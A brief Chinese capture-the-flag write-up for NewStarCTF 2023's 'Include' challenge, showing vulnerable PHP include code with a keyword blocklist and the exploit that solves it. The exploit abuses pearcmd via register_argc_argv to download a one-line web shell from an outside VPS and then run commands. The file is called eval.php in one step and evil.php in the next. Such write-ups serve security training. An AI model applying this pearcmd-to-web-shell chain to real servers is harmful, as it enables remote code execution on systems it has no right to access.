[NewStarCTF 2023 公开赛道]Include 🍐

一眼看去,有提示我们看phpinfo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

我们访问,在flag处发现提示

image-20250202215741125

提示我们检查register_argc_argv,我们发现register_argc_argv配置是打开的,那我们就可以通过pear命令进行任意文件读取

image-20250202221717298

1
2
<?php 
echo '<?php system($_GET[0]);';

我们在vps上上传恶意文件

1
?f=pearcmd&+install+-R+/var/www/html+http://ip:port/eval.php

然后我们访问/tmp/pear/download/evil.php直接命令执行即可

得到flag

image-20250202221542360

参考

register_argc_argv与include结合